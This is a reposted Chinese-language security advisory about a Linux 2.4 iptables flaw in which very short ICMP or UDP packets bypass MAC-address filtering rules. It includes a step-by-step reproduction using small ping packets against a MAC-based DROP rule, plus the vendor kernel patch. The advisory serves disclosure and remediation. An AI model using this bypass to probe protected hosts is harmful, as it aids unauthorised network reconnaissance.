Linux2.4iptablesMAC地址匹配绕过漏洞Windows系统 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    受影响的系统: Linux kernel 2.4 描述: -------------------------------------------------------------------------------- Linux 2.4内核中包含一个新的功能强大的防火墙体系,名叫Netfilter.它的主要组件是 iptables. Iptables重包含了一个扩展模块是MAC

    受影响的系统:

    Linux kernel 2.4

    描述:

    --------------------------------------------------------------------------------

    Linux 2.4内核中包含一个新的功能强大的防火墙体系,名叫Netfilter.它的主要组件是

    iptables. Iptables重包含了一个扩展模块是MAC模块,它可以基于MAC地址来匹配经过

    防火墙的报文,

Linux2.4iptablesMAC地址匹配绕过漏洞Windows系统

。这个模块主要是用来防止恶意内部用户通过修改IP地址进行欺骗攻击。

    然而,MAC模块没有正确匹配长度很小的报文。例如,4个字节的ICMP或者UDP报文。

    这使得内部攻击者可能利用这一漏洞来探测受iptables保护的主机是否存活,以及其他的

    探测活动。

    <*来源:John McEleney

    Chris Wilson (chris@netservers.co.uk)

    链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0057.html

    *>

    测试程序:

    --------------------------------------------------------------------------------

    警 告

    以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

    我们需要两台机器进行测试:

    - Victim, 运行iptables

    - Attacker, 可以发送小的ICMP或UDP报文

    攻击者(Attacker)的MAC地址假设为:AT:TA:CK:ER:00:00

    首先在Victim上禁止来自Attacker的MAC地址的ICMP报文:

    victim# iptables -P INPUT ACCEPT

    victim# iptables -F INPUT

    victim# iptables -I INPUT -p icmp -m mac --mac-source AT:TA:CK:ER:00:00 -j DROP

    victim# iptables -L INPUT -v

    Chain INPUT (policy ACCEPT xxxx packets, xxxxxxx bytes)

    pkts bytes target prot opt in out source destination

    0 0 DROP icmp -- any any anywhere anywhere

    MAC AT:TA:CK:ER:00:00

    [现在报文和字节计数器都是零]

    在Attacker上ping Victim主机:

    attacker# ping -s 8 -c 1 Victim

    PING Victim (xx.xx.xx.xx) from xx.xx.xx.xx : 8(36) bytes of data.

    --- xx.xx.xx.xx ping statistics ---

    1 packets transmitted, 0 packets received, 100% packet loss

    [8字节的报文被丢弃了,这是正确的]

    在Victim上:

    victim# iptables -L INPUT -v

    Chain INPUT (policy ACCEPT 231 packets, 39475 bytes)

    pkts bytes target prot opt in out source destination

    1 36 DROP icmp -- any any anywhere anywhere

    MAC 00:03:47:87:BA:C5

    [被丢弃的报文的数目和字节技术已经增加了]

    在Attacker上重新发送小字节的ICMP报文:

    attacker# ping -s 4 -c 1 Victim

    PING Victim (xx.xx.xx.xx) from xx.xx.xx.xx : 4(32) bytes of data.

    12 bytes from xx.xx.xx.xx: icmp_seq=0 ttl=255

    --- xx.xx.xx.xx ping statistics ---

    1 packets transmitted, 1 packets received, 0% packet loss

    [这次报文被允许通过并返回了应答,没有被规则丢弃]

    再来检查一下Victim上的记录:

    victim# iptables -L INPUT -v

    Chain INPUT (policy ACCEPT 231 packets, 39475 bytes)

    pkts bytes target prot opt in out source destination

    1 32 DROP icmp -- any any anywhere anywhere

    MAC AT:TA:CK:ER:00:00

    [丢弃报文的计数没有增加]

    --------------------------------------------------------------------------------

    建议:

    厂商补丁:

    1. 安装下列补丁并重新编译内核:

    ---linux-2.4.9/net/ipv4/netfilter/ipt_mac.c Tue Oct 2 18:50:56 2001

    +++ linux-2.4.9-ipt_mac-fix/net/ipv4/netfilter/ipt_mac.c Tue Oct 2

    19:32:20 2001

    @@ -20,7 +20,7 @@

    /* Is mac pointer valid? */

    return (skb->mac.raw >= skb->head

    - && skb->mac.raw < skb->head + skb->len - ETH_HLEN

    + && (skb->mac.raw + ETH_HLEN) <= skb->data

    /* If so, compare... */

    && ((memcmp(skb->mac.ethernet->h_source, info->srcaddr, ETH_ALEN)

    == 0) ^ info->invert));

    2. 或者等待安装更新版本的iptables(1.2.3以上版本)

    http://netfilter.samba.org/

    原文转自:http://www.ltesting.net

最新文章